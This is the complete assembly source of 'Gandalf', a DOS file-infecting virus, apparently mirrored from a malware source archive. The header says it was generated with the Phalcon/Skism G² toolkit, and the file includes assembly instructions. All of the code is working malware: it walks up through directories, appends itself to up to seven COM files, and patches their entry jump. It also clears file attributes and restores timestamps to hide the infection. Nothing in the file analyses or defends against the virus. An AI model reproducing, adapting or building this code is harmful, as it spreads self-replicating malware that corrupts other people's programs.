mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
203 lines
5.8 KiB
NASM
203 lines
5.8 KiB
NASM
; Virus generated by Gý 0.70á
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; Gý written by Dark Angel of Phalcon/Skism
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; File: GANDALF.ASM
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; Gandalf by Ender
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.model tiny
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.code
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; Assemble with:
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; TASM /m3 filename.ASM
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; TLINK /t filename.OBJ
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org 0100h
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carrier:
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db 0E9h,0,0 ; jmp start
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start:
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call next
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next:
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pop bp
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sub bp, offset next
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mov ah, 0047h ; Get directory
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lea si, [bp+offset origdir+1]
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cwd ; Default drive
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int 0021h
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lea dx, [bp+offset newDTA]
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mov ah, 001Ah ; Set DTA
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int 0021h
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mov ax, 3524h
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int 0021h
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push es
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push bx
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lea dx, [bp+INT24] ; ASSumes ds=cs
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mov ax, 2524h
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int 0021h
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push cs
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pop es
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restore_COM:
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mov di, 0100h
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push di
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lea si, [bp+offset old3]
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movsb
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movsw
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mov byte ptr [bp+numinfect], 0000h
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traverse_loop:
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lea dx, [bp+offset COMmask]
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call infect
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cmp [bp+numinfect], 0007h
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jae exit_traverse ; exit if enough infected
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mov ah, 003Bh ; CHDIR
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lea dx, [bp+offset dot_dot] ; go to previous dir
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int 0021h
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jnc traverse_loop ; loop if no error
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exit_traverse:
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lea si, [bp+offset origdir]
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mov byte ptr [si], '\'
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mov ah, 003Bh ; restore directory
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xchg dx, si
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int 0021h
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pop dx
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pop ds
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mov ax, 2524h
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int 0021h
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mov dx, 0080h ; in the PSP
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mov ah, 001Ah ; restore DTA to default
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int 0021h
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return:
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ret
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old3 db 0cdh,20h,0
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INT24:
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mov al, 0003h
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iret
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infect:
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mov cx, 0007h ; all files
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mov ah, 004Eh ; find first
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findfirstnext:
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int 0021h
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jc return
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mov ax, 4300h
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lea dx, [bp+newDTA+30]
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int 0021h
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jc return
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push cx
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push dx
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mov ax, 4301h ; clear file attributes
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push ax ; save for later use
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xor cx, cx
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int 0021h
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mov ax, 3D02h
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lea dx, [bp+newDTA+30]
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int 0021h
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mov bx, ax ; xchg ax,bx is more efficient
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mov ax, 5700h ; get file time/date
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int 0021h
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push cx
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push dx
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mov ah, 003Fh
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mov cx, 001Ah
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lea dx, [bp+offset readbuffer]
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int 0021h
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mov ax, 4202h
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xor cx, cx
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cwd
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int 0021h
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cmp word ptr [bp+offset readbuffer], 'ZM'
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jz jmp_close
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mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
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add cx, heap-start+3 ; convert to filesize
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cmp ax, cx ; equal if already infected
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jl skipp
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jmp_close:
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jmp close
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skipp:
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cmp ax, 65535-(endheap-start) ; check if too large
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ja jmp_close ; Exit if so
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cmp ax, (heap-start) ; check if too small
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jb jmp_close ; Exit if so
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lea si, [bp+offset readbuffer]
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lea di, [bp+offset old3]
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movsb
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movsw
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sub ax, 0003h
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mov word ptr [bp+offset readbuffer+1], ax
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mov dl, 00E9h
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mov byte ptr [bp+offset readbuffer], dl
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lea dx, [bp+offset start]
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mov ah, 0040h ; concatenate virus
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mov cx, heap-start
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int 0021h
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xor cx, cx
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mov ax, 4200h
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xor dx, dx
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int 0021h
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mov cx, 0003h
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lea dx, [bp+offset readbuffer]
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mov ah, 0040h
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int 0021h
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inc [bp+numinfect]
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close:
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mov ax, 5701h ; restore file time/date
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pop dx
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pop cx
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int 0021h
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mov ah, 003Eh
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int 0021h
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pop ax ; restore file attributes
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pop dx ; get filename and
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pop cx ; attributes from stack
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int 0021h
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mov ah, 004Fh ; find next
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jmp findfirstnext
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signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
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creator db 'Ender',0
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virusname db 'Gandalf',0
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COMmask db '*.COM',0
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dot_dot db '..',0
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heap:
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newDTA db 43 dup (?)
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origdir db 65 dup (?)
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numinfect db ?
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readbuffer db 1ah dup (?)
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endheap:
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end carrier
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